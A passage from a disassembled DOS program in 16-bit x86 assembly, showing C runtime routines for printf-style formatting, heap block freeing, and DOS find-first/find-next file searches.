DATA_48         DW      OFFSET LOC_189
DATA_49         DW      OFFSET LOC_190
DATA_50         DW      OFFSET LOC_180
DATA_51         DW      OFFSET LOC_196
DATA_52         DW      OFFSET LOC_191
DATA_53         DW      OFFSET LOC_192
DATA_54         DW      OFFSET LOC_193
DATA_55         DW      OFFSET LOC_205
DATA_56         DW      OFFSET LOC_214
DATA_57         DW      OFFSET LOC_208
DATA_58         DW      OFFSET LOC_209
DATA_59         DW      OFFSET LOC_242
DATA_60         DW      OFFSET LOC_245
DATA_61         DW      OFFSET LOC_245
DATA_62         DW      OFFSET LOC_245
DATA_63         DW      OFFSET LOC_178
DATA_64         DW      OFFSET LOC_179
LOC_173:
               JMP     LOC_245                 ; (138C)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_174:
               CMP     CH,0
               JA      LOC_173                 ; Jump if above
               OR      WORD PTR SS:DATA_126E[BP],1     ; (817F:FF6A=0)
               JMP     SHORT LOC_170           ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ


LOCLOOP_175:
               CMP     CH,0
               JA      LOC_173                 ; Jump if above
               OR      WORD PTR SS:DATA_126E[BP],2     ; (817F:FF6A=0)
               JMP     SHORT LOC_170           ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_176:
               CMP     CH,0
               JA      LOC_173                 ; Jump if above
               CMP     BYTE PTR SS:DATA_132E[BP],2BH   ; (817F:FF75=0) '+'
               JE      LOC_177                 ; Jump if equal
               MOV     SS:DATA_132E[BP],DL     ; (817F:FF75=0)
LOC_177:
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_178:
               AND     WORD PTR SS:DATA_126E[BP],0FFDFH        ; (817F:FF6A=0)
               MOV     CH,5
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_179:
               OR      WORD PTR SS:DATA_126E[BP],20H   ; (817F:FF6A=0)
               MOV     CH,5
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_180:
               CMP     CH,0
               JA      LOC_186                 ; Jump if above
               TEST    WORD PTR SS:DATA_126E[BP],2     ; (817F:FF6A=0)
               JNZ     LOC_183                 ; Jump if not zero
               OR      WORD PTR SS:DATA_126E[BP],8     ; (817F:FF6A=0)
               MOV     CH,1
               JMP     LOC_170                 ; (0F52)
LOC_181:
               JMP     LOC_245                 ; (138C)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_182:
               MOV     DI,[BP+4]
               MOV     AX,[DI]
               ADD     WORD PTR [BP+4],2
               CMP     CH,2
               JAE     LOC_184                 ; Jump if above or =
               MOV     SS:DATA_130E[BP],AX     ; (817F:FF70=0)
               MOV     CH,3
LOC_183:
               JMP     LOC_170                 ; (0F52)
LOC_184:
               CMP     CH,4
               JNE     LOC_181                 ; Jump if not equal
               MOV     SS:DATA_131E[BP],AX     ; (817F:FF72=0)
               INC     CH
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_185:
               CMP     CH,4
               JAE     LOC_181                 ; Jump if above or =
               MOV     CH,4
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_186:
               XCHG    AX,DX
               SUB     AL,30H                  ; '0'
               CBW                             ; Convrt byte to word
               CMP     CH,2
               JA      LOC_187                 ; Jump if above
               MOV     CH,2
               XCHG    AX,SS:DATA_130E[BP]     ; (817F:FF70=0)
               OR      AX,AX                   ; Zero ?
               JL      LOC_183                 ; Jump if <
               SHL     AX,1                    ; Shift w/zeros fill
               MOV     DX,AX
               SHL     AX,1                    ; Shift w/zeros fill
               SHL     AX,1                    ; Shift w/zeros fill
               ADD     AX,DX
               ADD     SS:DATA_130E[BP],AX     ; (817F:FF70=0)
               JMP     LOC_170                 ; (0F52)
LOC_187:
               CMP     CH,4
               JNE     LOC_181                 ; Jump if not equal
               XCHG    AX,SS:DATA_131E[BP]     ; (817F:FF72=0)
               OR      AX,AX                   ; Zero ?
               JL      LOC_183                 ; Jump if <
               SHL     AX,1                    ; Shift w/zeros fill
               MOV     DX,AX
               SHL     AX,1                    ; Shift w/zeros fill
               SHL     AX,1                    ; Shift w/zeros fill
               ADD     AX,DX
               ADD     SS:DATA_131E[BP],AX     ; (817F:FF72=0)
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_188:
               OR      WORD PTR SS:DATA_126E[BP],10H   ; (817F:FF6A=0)
               MOV     CH,5
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_189:
               OR      WORD PTR SS:DATA_126E[BP],100H  ; (817F:FF6A=0)
               AND     WORD PTR SS:DATA_126E[BP],0FFEFH        ; (817F:FF6A=0)
               MOV     CH,5
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_190:
               AND     WORD PTR SS:DATA_126E[BP],0FFEFH        ; (817F:FF6A=0)
               OR      WORD PTR SS:DATA_126E[BP],80H   ; (817F:FF6A=0)
               MOV     CH,5
               JMP     LOC_170                 ; (0F52)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_191:
               MOV     BH,8
               JMP     SHORT LOC_194           ; (10AD)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_192:
               MOV     BH,0AH
               JMP     SHORT LOC_195           ; (10B2)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_193:
               MOV     BH,10H
               MOV     BL,0E9H
               ADD     BL,DL
LOC_194:
               MOV     BYTE PTR SS:DATA_132E[BP],0     ; (817F:FF75=0)
LOC_195:
               MOV     BYTE PTR SS:DATA_129E[BP],0     ; (817F:FF6F=0)
               MOV     SS:DATA_128E[BP],DL     ; (817F:FF6E=0)
               MOV     DI,[BP+4]
               MOV     AX,[DI]
               XOR     DX,DX                   ; Zero register
               JMP     SHORT LOC_197           ; (10D5)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_196:
               MOV     BH,0AH
               MOV     BYTE PTR SS:DATA_129E[BP],1     ; (817F:FF6F=0)
               MOV     SS:DATA_128E[BP],DL     ; (817F:FF6E=0)
               MOV     DI,[BP+4]
               MOV     AX,[DI]
               CWD                             ; Word to double word
LOC_197:
               INC     DI
               INC     DI
               MOV     [BP+6],SI
               TEST    WORD PTR SS:DATA_126E[BP],10H   ; (817F:FF6A=0)
               JZ      LOC_198                 ; Jump if zero
               MOV     DX,[DI]
               INC     DI
               INC     DI
LOC_198:
               MOV     [BP+4],DI
               LEA     DI,[BP-85H]             ; Load effective addr
               OR      AX,AX                   ; Zero ?
               JNZ     LOC_202                 ; Jump if not zero
               OR      DX,DX                   ; Zero ?
               JNZ     LOC_202                 ; Jump if not zero
               CMP     WORD PTR SS:DATA_131E[BP],0     ; (817F:FF72=0)
               JNE     LOC_203                 ; Jump if not equal
               MOV     DI,SS:DATA_127E[BP]     ; (817F:FF6C=0)
               MOV     CX,SS:DATA_130E[BP]     ; (817F:FF70=0)
               JCXZ    LOC_201                 ; Jump if cx=0
               CMP     CX,0FFFFH
               JE      LOC_201                 ; Jump if equal
               MOV     AX,SS:DATA_126E[BP]     ; (817F:FF6A=0)
               AND     AX,8
               JZ      LOC_199                 ; Jump if zero
               MOV     DL,30H                  ; '0'
               JMP     SHORT LOCLOOP_200       ; (111A)
LOC_199:
               MOV     DL,20H                  ; ' '

LOCLOOP_200:
               MOV     AL,DL
               CALL    SUB_41                  ; (0ED5)
               LOOP    LOCLOOP_200             ; Loop if cx > 0

LOC_201:
               JMP     LOC_165                 ; (0F0D)
LOC_202:
               OR      WORD PTR SS:DATA_126E[BP],4     ; (817F:FF6A=0)
LOC_203:
               PUSH    DX
               PUSH    AX
               PUSH    DI
               MOV     AL,BH
               CBW                             ; Convrt byte to word
               PUSH    AX
               MOV     AL,SS:DATA_129E[BP]     ; (817F:FF6F=0)
               PUSH    AX
               PUSH    BX
               CALL    SUB_30                  ; (0A49)
               PUSH    SS
               POP     ES
               MOV     DX,SS:DATA_131E[BP]     ; (817F:FF72=0)
               OR      DX,DX                   ; Zero ?
               JG      LOC_204                 ; Jump if >
               JMP     LOC_219                 ; (125A)
LOC_204:
               JMP     LOC_220                 ; (126A)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_205:
               MOV     SS:DATA_128E[BP],DL     ; (817F:FF6E=0)
               MOV     [BP+6],SI
               LEA     DI,[BP-86H]             ; Load effective addr
               MOV     BX,[BP+4]
               PUSH    WORD PTR [BX]
               INC     BX
               INC     BX
               MOV     [BP+4],BX
               TEST    WORD PTR SS:DATA_126E[BP],20H   ; (817F:FF6A=0)
               JZ      LOC_206                 ; Jump if zero
               PUSH    WORD PTR [BX]
               INC     BX
               INC     BX
               MOV     [BP+4],BX
               PUSH    SS
               POP     ES
               CALL    SUB_38                  ; (0E89)
               MOV     AL,3AH                  ; ':'
               STOSB                           ; Store al to es:[di]
LOC_206:
               PUSH    SS
               POP     ES
               CALL    SUB_38                  ; (0E89)
               MOV     BYTE PTR [DI],0
               MOV     BYTE PTR SS:DATA_129E[BP],0     ; (817F:FF6F=0)
               AND     WORD PTR SS:DATA_126E[BP],0FFFBH        ; (817F:FF6A=0)
               LEA     CX,[BP-86H]             ; Load effective addr
               SUB     DI,CX
               XCHG    CX,DI
               MOV     DX,SS:DATA_131E[BP]     ; (817F:FF72=0)
               CMP     DX,CX
               JG      LOC_207                 ; Jump if >
               MOV     DX,CX
LOC_207:
               JMP     LOC_219                 ; (125A)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_208:
               MOV     [BP+6],SI
               MOV     SS:DATA_128E[BP],DL     ; (817F:FF6E=0)
               MOV     DI,[BP+4]
               MOV     AX,[DI]
               ADD     WORD PTR [BP+4],2
               PUSH    SS
               POP     ES
               LEA     DI,[BP-85H]             ; Load effective addr
               XOR     AH,AH                   ; Zero register
               MOV     [DI],AX
               MOV     CX,1
               JMP     LOC_223                 ; (1294)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_209:
               MOV     [BP+6],SI
               MOV     SS:DATA_128E[BP],DL     ; (817F:FF6E=0)
               MOV     DI,[BP+4]
               TEST    WORD PTR SS:DATA_126E[BP],20H   ; (817F:FF6A=0)
               JNZ     LOC_210                 ; Jump if not zero
               MOV     DI,[DI]
               ADD     WORD PTR [BP+4],2
               PUSH    DS
               POP     ES
               OR      DI,DI                   ; Zero ?
               JMP     SHORT LOC_211           ; (11E4)
LOC_210:
               LES     DI,DWORD PTR [DI]       ; Load 32 bit ptr
               ADD     WORD PTR [BP+4],4
               MOV     AX,ES
               OR      AX,DI
LOC_211:
               JNZ     LOC_212                 ; Jump if not zero
               PUSH    DS
               POP     ES
               MOV     DI,3DEH
LOC_212:
               CALL    SUB_40                  ; (0EC8)
               CMP     CX,SS:DATA_131E[BP]     ; (817F:FF72=0)
               JBE     LOC_213                 ; Jump if below or =
               MOV     CX,SS:DATA_131E[BP]     ; (817F:FF72=0)
LOC_213:
               JMP     LOC_223                 ; (1294)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_214:
               MOV     [BP+6],SI
               MOV     SS:DATA_128E[BP],DL     ; (817F:FF6E=0)
               MOV     DI,[BP+4]
               MOV     CX,SS:DATA_131E[BP]     ; (817F:FF72=0)
               OR      CX,CX                   ; Zero ?
               JGE     LOC_215                 ; Jump if > or =
               MOV     CX,6
LOC_215:
               PUSH    DI
               PUSH    CX
               LEA     BX,[BP-85H]             ; Load effective addr
               PUSH    BX
               PUSH    DX
               MOV     AX,1
               AND     AX,SS:DATA_126E[BP]     ; (817F:FF6A=0)
               PUSH    AX
               MOV     AX,SS:DATA_126E[BP]     ; (817F:FF6A=0)
               TEST    AX,80H
               JZ      LOC_216                 ; Jump if zero
               MOV     AX,2
               MOV     WORD PTR [BP-2],4
               JMP     SHORT LOC_218           ; (124A)
LOC_216:
               TEST    AX,100H
               JZ      LOC_217                 ; Jump if zero
               MOV     AX,8
               MOV     WORD PTR [BP-2],0AH
               JMP     SHORT LOC_218           ; (124A)
LOC_217:
               MOV     WORD PTR [BP-2],8
               MOV     AX,6
LOC_218:
               PUSH    AX
               CALL    SUB_37                  ; (0E85)
               MOV     AX,[BP-2]
               ADD     [BP+4],AX
               PUSH    SS
               POP     ES
               LEA     DI,[BP-85H]             ; Load effective addr
LOC_219:
               TEST    WORD PTR SS:DATA_126E[BP],8     ; (817F:FF6A=0)
               JZ      LOC_221                 ; Jump if zero
               MOV     DX,SS:DATA_130E[BP]     ; (817F:FF70=0)
               OR      DX,DX                   ; Zero ?
               JLE     LOC_221                 ; Jump if < or =
LOC_220:
               CALL    SUB_40                  ; (0EC8)
               SUB     DX,CX
               JLE     LOC_221                 ; Jump if < or =
               MOV     SS:DATA_133E[BP],DX     ; (817F:FF76=0)
LOC_221:
               MOV     AL,SS:DATA_132E[BP]     ; (817F:FF75=0)
               OR      AL,AL                   ; Zero ?
               JZ      LOC_222                 ; Jump if zero
               CMP     BYTE PTR ES:[DI],2DH    ; '-'
               JE      LOC_222                 ; Jump if equal
               SUB     WORD PTR SS:DATA_133E[BP],1     ; (817F:FF76=0)
               ADC     WORD PTR SS:DATA_133E[BP],0     ; (817F:FF76=0)
               DEC     DI
               MOV     ES:[DI],AL
LOC_222:
               CALL    SUB_40                  ; (0EC8)
LOC_223:
               MOV     SI,DI
               MOV     DI,SS:DATA_127E[BP]     ; (817F:FF6C=0)
               MOV     BX,SS:DATA_130E[BP]     ; (817F:FF70=0)
               MOV     AX,5
               AND     AX,SS:DATA_126E[BP]     ; (817F:FF6A=0)
               CMP     AX,5
               JNE     LOC_224                 ; Jump if not equal
               MOV     AH,SS:DATA_128E[BP]     ; (817F:FF6E=0)
               CMP     AH,6FH                  ; 'o'
               JNE     LOC_225                 ; Jump if not equal
               CMP     WORD PTR SS:DATA_133E[BP],0     ; (817F:FF76=0)
               JG      LOC_224                 ; Jump if >
               MOV     WORD PTR SS:DATA_133E[BP],1     ; (817F:FF76=0)
LOC_224:
               JMP     SHORT LOC_227           ; (12E1)
               DB      90H
LOC_225:
               CMP     AH,78H                  ; 'x'
               JE      LOC_226                 ; Jump if equal
               CMP     AH,58H                  ; 'X'
               JNE     LOC_227                 ; Jump if not equal
LOC_226:
               OR      WORD PTR SS:DATA_126E[BP],40H   ; (817F:FF6A=0)
               DEC     BX
               DEC     BX
               SUB     WORD PTR SS:DATA_133E[BP],2     ; (817F:FF76=0)
               JGE     LOC_227                 ; Jump if > or =
               MOV     WORD PTR SS:DATA_133E[BP],0     ; (817F:FF76=0)
LOC_227:
               ADD     CX,SS:DATA_133E[BP]     ; (817F:FF76=0)
               TEST    WORD PTR SS:DATA_126E[BP],2     ; (817F:FF6A=0)
               JNZ     LOC_230                 ; Jump if not zero
               JMP     SHORT LOC_229           ; (12F5)
LOC_228:
               MOV     AL,20H                  ; ' '
               CALL    SUB_41                  ; (0ED5)
               DEC     BX
LOC_229:
               CMP     BX,CX
               JG      LOC_228                 ; Jump if >
LOC_230:
               TEST    WORD PTR SS:DATA_126E[BP],40H   ; (817F:FF6A=0)
               JZ      LOC_231                 ; Jump if zero
               MOV     AL,30H                  ; '0'
               CALL    SUB_41                  ; (0ED5)
               MOV     AL,SS:DATA_128E[BP]     ; (817F:FF6E=0)
               CALL    SUB_41                  ; (0ED5)
LOC_231:
               MOV     DX,SS:DATA_133E[BP]     ; (817F:FF76=0)
               OR      DX,DX                   ; Zero ?
               JLE     LOC_236                 ; Jump if < or =
               SUB     CX,DX
               SUB     BX,DX
               MOV     AL,ES:[SI]
               CMP     AL,2DH                  ; '-'
               JE      LOC_232                 ; Jump if equal
               CMP     AL,20H                  ; ' '
               JE      LOC_232                 ; Jump if equal
               CMP     AL,2BH                  ; '+'
               JNE     LOC_233                 ; Jump if not equal
LOC_232:
               LODS    BYTE PTR ES:[SI]        ; String [si] to al
               CALL    SUB_41                  ; (0ED5)
               DEC     CX
               DEC     BX
LOC_233:
               XCHG    CX,DX
               JCXZ    LOC_235                 ; Jump if cx=0

LOCLOOP_234:
               MOV     AL,30H                  ; '0'
               CALL    SUB_41                  ; (0ED5)
               LOOP    LOCLOOP_234             ; Loop if cx > 0

LOC_235:
               XCHG    CX,DX
LOC_236:
               JCXZ    LOC_239                 ; Jump if cx=0
               SUB     BX,CX

LOCLOOP_237:
               LODS    BYTE PTR ES:[SI]        ; String [si] to al
               MOV     [DI],AL
               INC     DI
               DEC     BYTE PTR [BP-53H]
               JG      LOC_238                 ; Jump if >
               CALL    SUB_42                  ; (0EDD)
LOC_238:
               LOOP    LOCLOOP_237             ; Loop if cx > 0

LOC_239:
               OR      BX,BX                   ; Zero ?
               JLE     LOC_241                 ; Jump if < or =
               MOV     CX,BX

LOCLOOP_240:
               MOV     AL,20H                  ; ' '
               CALL    SUB_41                  ; (0ED5)
               LOOP    LOCLOOP_240             ; Loop if cx > 0

LOC_241:
               JMP     LOC_165                 ; (0F0D)
SUB_39          ENDP


;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_242:
               MOV     [BP+6],SI
               MOV     DI,[BP+4]
               TEST    WORD PTR SS:DATA_126E[BP],20H   ; (817F:FF6A=0)
               JNZ     LOC_243                 ; Jump if not zero
               MOV     DI,[DI]
               ADD     WORD PTR [BP+4],2
               PUSH    DS
               POP     ES
               JMP     SHORT LOC_244           ; (137D)
LOC_243:
               LES     DI,DWORD PTR [DI]       ; Load 32 bit ptr
               ADD     WORD PTR [BP+4],4
LOC_244:
               MOV     AX,50H
               SUB     AL,[BP-53H]
               ADD     AX,[BP-56H]
               MOV     ES:[DI],AX
               JMP     LOC_164                 ; (0F09)

;ФФФФФ Indexed Entry Point ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

LOC_245:
               MOV     SI,SS:DATA_134E[BP]     ; (817F:FF78=0)
               MOV     DI,SS:DATA_127E[BP]     ; (817F:FF6C=0)
               MOV     AL,25H                  ; '%'
LOC_246:
               CALL    SUB_41                  ; (0ED5)
               LODSB                           ; String [si] to al
               OR      AL,AL                   ; Zero ?
               JNZ     LOC_246                 ; Jump if not zero
LOC_247:
               CMP     BYTE PTR [BP-53H],50H   ; 'P'
               JGE     LOC_248                 ; Jump if > or =
               CALL    SUB_42                  ; (0EDD)
LOC_248:
               POP     ES
               MOV     AX,[BP-56H]
               JMP     SHORT LOC_249           ; (13AD)
LOC_249:
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN    8

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_43          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               PUSH    DI
               MOV     SI,[BP+4]
               CMP     WORD PTR DS:DATA_36E,0  ; (7FC4:04A6=8C40H)
               JE      LOC_250                 ; Jump if equal
               MOV     BX,DS:DATA_36E          ; (7FC4:04A6=8C40H)
               MOV     DI,[BX+6]
               MOV     BX,DS:DATA_36E          ; (7FC4:04A6=8C40H)
               MOV     [BX+6],SI
               MOV     [DI+4],SI
               MOV     [SI+6],DI
               MOV     AX,DS:DATA_36E          ; (7FC4:04A6=8C40H)
               MOV     [SI+4],AX
               JMP     SHORT LOC_251           ; (13EA)
LOC_250:
               MOV     DS:DATA_36E,SI          ; (7FC4:04A6=8C40H)
               MOV     [SI+4],SI
               MOV     [SI+6],SI
LOC_251:
               POP     DI
               POP     SI
               POP     BP
               RETN
SUB_43          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_44          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,2
               PUSH    SI
               PUSH    DI
               MOV     SI,[BP+6]
               MOV     DI,[BP+4]
               MOV     AX,[SI]
               ADD     [DI],AX
               MOV     AX,DS:DATA_35E          ; (7FC4:04A4=0AC26H)
               CMP     AX,SI
               JNE     LOC_252                 ; Jump if not equal
               MOV     DS:DATA_35E,DI          ; (7FC4:04A4=0AC26H)
               JMP     SHORT LOC_253           ; (141A)
LOC_252:
               MOV     AX,[SI]
               ADD     AX,SI
               MOV     [BP-2],AX
               MOV     BX,[BP-2]
               MOV     [BX+2],DI
LOC_253:
               PUSH    SI
               CALL    SUB_15                  ; (04EB)
               POP     CX
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN
SUB_44          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_45          PROC    NEAR
               PUSH    SI
               MOV     AX,DS:DATA_37E          ; (7FC4:04A8=87C5H)
               CMP     AX,DS:DATA_35E          ; (7FC4:04A4=0AC26H)
               JNE     LOC_254                 ; Jump if not equal
               PUSH    WORD PTR DS:DATA_37E    ; (7FC4:04A8=87C5H)
               CALL    SUB_22                  ; (0690)
               POP     CX
               XOR     AX,AX                   ; Zero register
               MOV     DS:DATA_35E,AX          ; (7FC4:04A4=0AC26H)
               MOV     DS:DATA_37E,AX          ; (7FC4:04A8=87C5H)
               JMP     SHORT LOC_258           ; (147C)
LOC_254:
               MOV     BX,DS:DATA_35E          ; (7FC4:04A4=0AC26H)
               MOV     SI,[BX+2]
               TEST    WORD PTR [SI],1
               JNZ     LOC_257                 ; Jump if not zero
               PUSH    SI
               CALL    SUB_15                  ; (04EB)
               POP     CX
               CMP     SI,DS:DATA_37E          ; (7FC4:04A8=87C5H)
               JNE     LOC_255                 ; Jump if not equal
               XOR     AX,AX                   ; Zero register
               MOV     DS:DATA_35E,AX          ; (7FC4:04A4=0AC26H)
               MOV     DS:DATA_37E,AX          ; (7FC4:04A8=87C5H)
               JMP     SHORT LOC_256           ; (1469)
LOC_255:
               MOV     AX,[SI+2]
               MOV     DS:DATA_35E,AX          ; (7FC4:04A4=0AC26H)
LOC_256:
               PUSH    SI
               CALL    SUB_22                  ; (0690)
               POP     CX
               JMP     SHORT LOC_258           ; (147C)
LOC_257:
               PUSH    WORD PTR DS:DATA_35E    ; (7FC4:04A4=0AC26H)
               CALL    SUB_22                  ; (0690)
               POP     CX
               MOV     DS:DATA_35E,SI          ; (7FC4:04A4=0AC26H)
LOC_258:
               POP     SI
               RETN
SUB_45          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_46          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               SUB     SP,2
               PUSH    SI
               PUSH    DI
               MOV     SI,[BP+4]
               DEC     WORD PTR [SI]
               MOV     AX,[SI]
               ADD     AX,SI
               MOV     [BP-2],AX
               MOV     DI,[SI+2]
               TEST    WORD PTR [DI],1
               JNZ     LOC_259                 ; Jump if not zero
               CMP     SI,DS:DATA_37E          ; (7FC4:04A8=87C5H)
               JE      LOC_259                 ; Jump if equal
               MOV     AX,[SI]
               ADD     [DI],AX
               MOV     BX,[BP-2]
               MOV     [BX+2],DI
               MOV     SI,DI
               JMP     SHORT LOC_260           ; (14B4)
LOC_259:
               PUSH    SI
               CALL    SUB_43                  ; (13B5)
               POP     CX
LOC_260:
               MOV     BX,[BP-2]
               TEST    WORD PTR [BX],1
               JNZ     LOC_261                 ; Jump if not zero
               PUSH    WORD PTR [BP-2]
               PUSH    SI
               CALL    SUB_44                  ; (13EE)
               POP     CX
               POP     CX
LOC_261:
               POP     DI
               POP     SI
               MOV     SP,BP
               POP     BP
               RETN
SUB_46          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_47          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               PUSH    SI
               MOV     SI,[BP+4]
               OR      SI,SI                   ; Zero ?
               JNZ     LOC_262                 ; Jump if not zero
               JMP     SHORT LOC_264           ; (14F0)
LOC_262:
               MOV     AX,SI
               ADD     AX,0FFFCH
               MOV     SI,AX
               CMP     SI,DS:DATA_35E          ; (7FC4:04A4=0AC26H)
               JNE     LOC_263                 ; Jump if not equal
               CALL    SUB_45                  ; (1425)
               JMP     SHORT LOC_264           ; (14F0)
LOC_263:
               PUSH    SI
               CALL    SUB_46                  ; (147E)
               POP     CX
LOC_264:
               POP     SI
               POP     BP
               RETN
SUB_47          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_48          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AX,0DCBH
               PUSH    AX
               PUSH    WORD PTR [BP+4]
               PUSH    WORD PTR [BP+6]
               LEA     AX,[BP+8]               ; Load effective addr
               PUSH    AX
               CALL    SUB_39                  ; (0EB4)
               JMP     SHORT LOC_265           ; (1509)
LOC_265:
               POP     BP
               RETN
SUB_48          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_49          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AH,1AH
               MOV     DX,[BP+6]
               INT     21H                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               MOV     AH,4EH                  ; 'N'
               MOV     CX,[BP+8]
               MOV     DX,[BP+4]
               INT     21H                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               JC      LOC_266                 ; Jump if carry Set
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_267           ; (152B)
LOC_266:
               PUSH    AX
               CALL    SUB_10                  ; (031F)
               JMP     SHORT LOC_267           ; (152B)
LOC_267:
               POP     BP
               RETN
SUB_49          ENDP


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_50          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     AH,1AH
               MOV     DX,[BP+4]
               INT     21H                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               MOV     AH,4FH                  ; 'O'
               INT     21H                     ; DOS Services  ah=function 4Fh
                                               ;  find next filename match
               JC      LOC_268                 ; Jump if carry Set
               XOR     AX,AX                   ; Zero register
               JMP     SHORT LOC_269           ; (1547)
LOC_268:
               PUSH    AX
               CALL    SUB_10                  ; (031F)
               JMP     SHORT LOC_269           ; (1547)
LOC_269:
               POP     BP
               RETN
SUB_50          ENDP

               DB      55H, 8BH, 0ECH, 0FFH, 76H, 6
               DB      0FFH, 76H, 8, 8BH, 5EH, 4
               DB      0FFH, 37H, 0E8H, 52H, 0F6H, 8BH
               DB      0E5H, 8BH, 46H, 6, 8BH, 5EH
               DB      4, 1, 7, 8BH, 1FH, 0C6H
               DB      7, 0, 33H, 0C0H, 0EBH, 0
               DB      5DH, 0C2H, 6, 0

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

SUB_51          PROC    NEAR
               PUSH    BP
               MOV     BP,SP
               MOV     BX,[BP+4]
               MOV     BYTE PTR [BX],0
               MOV     AX,1549H
               PUSH    AX
               LEA     AX,[BP+4]               ; Load effective addr
               PUSH    AX
               PUSH    WORD PTR [BP+6]
               LEA     AX,[BP+8]               ; Load effective addr
               PUSH    AX
               CALL    SUB_39                  ; (0EB4)
               JMP     SHORT LOC_270           ; (158E)
LOC_270:
               POP     BP
               RETN
